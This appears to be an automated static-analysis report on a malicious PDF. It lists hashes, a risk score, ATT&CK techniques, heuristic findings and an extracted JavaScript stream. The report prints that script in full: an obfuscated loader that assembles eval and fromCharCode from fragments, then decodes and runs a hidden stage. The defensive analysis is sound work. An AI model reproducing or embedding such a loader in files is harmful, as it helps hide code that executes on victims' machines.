Malicious PDF — malware analysis report

Static analysis result for SHA-256 60d37de8d4bbdf3c…

MALICIOUS

PDF

44.5 KB First seen: 2026-05-08
MD5: 85c13f18fa69db71ac32e3bb0b987454 SHA-1: 0a25137bab730fb21e828317061ddf5cea7d6a89 SHA-256: 60d37de8d4bbdf3cb03b41dd5a306d3309660800d6b8462a574b86be71c8154a
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a loader, which attempts to decode and execute a payload. The script dynamically constructs a string by parsing character codes and then executes it, likely to download and run a secondary malicious component. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF19 491 bytes
SHA-256: e7e145b93f83a1bc81b356425b45d49c515e4fe839976710ef202229c8af4056
Preview script
First 1,000 lines of the extracted script
wtwda='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
slooh=e('ti'+'tle');
s=slooh.substr(t.length + 8,3)+'str';
q=slooh[s](1,(1,t.length + 7));
nkiq=e('S'+'tring.fro'+q);
q=slooh[s](14)[qqq]('u');
k=q.length;
for (i = 0; i != k; i+=2) {
	bbas = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	wtwda += nkiq(bbas);
}
e(wtwda);

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